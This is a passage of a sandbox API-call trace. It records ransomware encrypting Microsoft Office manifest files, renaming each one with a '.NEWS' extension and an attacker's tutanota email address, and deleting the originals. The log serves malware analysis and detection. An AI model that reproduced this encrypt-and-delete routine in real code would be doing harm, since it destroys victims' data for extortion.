-1 [0069.235] lstrlenW (lpString=".xlsx") returned 5 [0069.235] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.235] lstrlenW (lpString=".ppt") returned 4 [0069.235] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.235] lstrlenW (lpString=".zip") returned 4 [0069.235] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.235] lstrlenW (lpString=".rar") returned 4 [0069.235] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.235] lstrlenW (lpString=".bz2") returned 4 [0069.235] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.235] lstrlenW (lpString=".7z") returned 3 [0069.235] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.235] lstrlenW (lpString=".dbf") returned 4 [0069.235] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.236] lstrlenW (lpString=".1cd") returned 4 [0069.236] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.236] lstrlenW (lpString=".jpg") returned 4 [0069.236] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.236] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0069.236] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0069.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0069.236] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=763363) returned 1 [0069.237] CloseHandle (hObject=0x2c4) returned 1 [0069.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0069.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0069.237] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.237] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0069.237] GetLastError () returned 0x0 [0069.237] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0069.254] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0071.014] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.014] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.014] SetEndOfFile (hFile=0x37c) returned 1 [0071.014] CloseHandle (hObject=0x37c) returned 1 [0071.032] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.032] SetEndOfFile (hFile=0x2c4) returned 1 [0071.039] CloseHandle (hObject=0x2c4) returned 1 [0071.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0071.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.040] lstrlenW (lpString=".doc") returned 4 [0071.040] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.040] lstrlenW (lpString=".docx") returned 5 [0071.040] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.040] lstrlenW (lpString=".pdf") returned 4 [0071.040] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.040] lstrlenW (lpString=".xls") returned 4 [0071.040] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.040] lstrlenW (lpString=".xlsx") returned 5 [0071.040] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.040] lstrlenW (lpString=".ppt") returned 4 [0071.040] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.040] lstrlenW (lpString=".zip") returned 4 [0071.040] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.040] lstrlenW (lpString=".rar") returned 4 [0071.040] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.040] lstrlenW (lpString=".bz2") returned 4 [0071.040] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.040] lstrlenW (lpString=".7z") returned 3 [0071.040] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.040] lstrlenW (lpString=".dbf") returned 4 [0071.040] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.040] lstrlenW (lpString=".1cd") returned 4 [0071.040] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.040] lstrlenW (lpString=".jpg") returned 4 [0071.040] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.041] lstrlenW (lpString=".doc") returned 4 [0071.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString=".docx") returned 5 [0071.041] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.041] lstrlenW (lpString=".pdf") returned 4 [0071.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString=".xls") returned 4 [0071.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString=".xlsx") returned 5 [0071.041] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.041] lstrlenW (lpString=".ppt") returned 4 [0071.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.041] lstrlenW (lpString=".zip") returned 4 [0071.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.041] lstrlenW (lpString=".rar") returned 4 [0071.041] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString=".bz2") returned 4 [0071.041] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString=".7z") returned 3 [0071.041] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.041] lstrlenW (lpString=".dbf") returned 4 [0071.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.041] lstrlenW (lpString=".1cd") returned 4 [0071.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0071.041] lstrlenW (lpString=".jpg") returned 4 [0071.041] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.042] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.042] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0071.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0071.042] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2147) returned 1 [0071.042] CloseHandle (hObject=0x2c4) returned 1 [0071.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0071.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0071.042] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.042] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0071.043] GetLastError () returned 0x0 [0071.043] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x863, lpOverlapped=0x0) returned 1 [0071.660] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x870, lpOverlapped=0x0) returned 1 [0071.661] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.662] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.662] SetEndOfFile (hFile=0x37c) returned 1 [0071.662] CloseHandle (hObject=0x37c) returned 1 [0071.663] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.663] SetEndOfFile (hFile=0x2c4) returned 1 [0071.664] CloseHandle (hObject=0x2c4) returned 1 [0071.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0071.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.665] lstrlenW (lpString=".doc") returned 4 [0071.665] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString=".docx") returned 5 [0071.665] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.665] lstrlenW (lpString=".pdf") returned 4 [0071.665] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString=".xls") returned 4 [0071.665] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString=".xlsx") returned 5 [0071.665] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.665] lstrlenW (lpString=".ppt") returned 4 [0071.665] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.665] lstrlenW (lpString=".zip") returned 4 [0071.665] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.665] lstrlenW (lpString=".rar") returned 4 [0071.665] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString=".bz2") returned 4 [0071.665] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString=".7z") returned 3 [0071.665] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.665] lstrlenW (lpString=".dbf") returned 4 [0071.665] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.665] lstrlenW (lpString=".1cd") returned 4 [0071.665] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.665] lstrlenW (lpString=".jpg") returned 4 [0071.665] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.665] lstrlenW (lpString=".doc") returned 4 [0071.665] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.666] lstrlenW (lpString=".docx") returned 5 [0071.666] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.666] lstrlenW (lpString=".pdf") returned 4 [0071.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.666] lstrlenW (lpString=".xls") returned 4 [0071.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.666] lstrlenW (lpString=".xlsx") returned 5 [0071.666] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.666] lstrlenW (lpString=".ppt") returned 4 [0071.666] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.666] lstrlenW (lpString=".zip") returned 4 [0071.666] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.666] lstrlenW (lpString=".rar") returned 4 [0071.666] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.666] lstrlenW (lpString=".bz2") returned 4 [0071.666] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.666] lstrlenW (lpString=".7z") returned 3 [0071.666] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.666] lstrlenW (lpString=".dbf") returned 4 [0071.666] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.666] lstrlenW (lpString=".1cd") returned 4 [0071.666] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0071.666] lstrlenW (lpString=".jpg") returned 4 [0071.666] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.666] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.666] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0071.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0071.667] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=357349) returned 1 [0071.667] CloseHandle (hObject=0x2c4) returned 1 [0071.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0071.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0071.667] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.667] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0071.667] GetLastError () returned 0x0 [0071.667] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x573e5, lpOverlapped=0x0) returned 1 [0071.675] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x573f0, lpOverlapped=0x0) returned 1 [0071.682] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.682] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.682] SetEndOfFile (hFile=0x37c) returned 1 [0071.682] CloseHandle (hObject=0x37c) returned 1 [0071.689] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.689] SetEndOfFile (hFile=0x2c4) returned 1 [0071.692] CloseHandle (hObject=0x2c4) returned 1 [0071.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0071.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0071.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0071.693] lstrlenW (lpString=".doc") returned 4 [0071.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.693] lstrlenW (lpString=".docx") returned 5 [0071.693] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.693] lstrlenW (lpString=".pdf") returned 4 [0071.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.693] lstrlenW (lpString=".xls") returned 4 [0071.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.693] lstrlenW (lpString=".xlsx") returned 5 [0071.693] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.693] lstrlenW (lpString=".ppt") returned 4 [0071.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0071.694] lstrlenW (lpString=".zip") returned 4 [0071.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.694] lstrlenW (lpString=".rar") returned 4 [0071.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString=".bz2") returned 4 [0071.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString=".7z") returned 3 [0071.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.694] lstrlenW 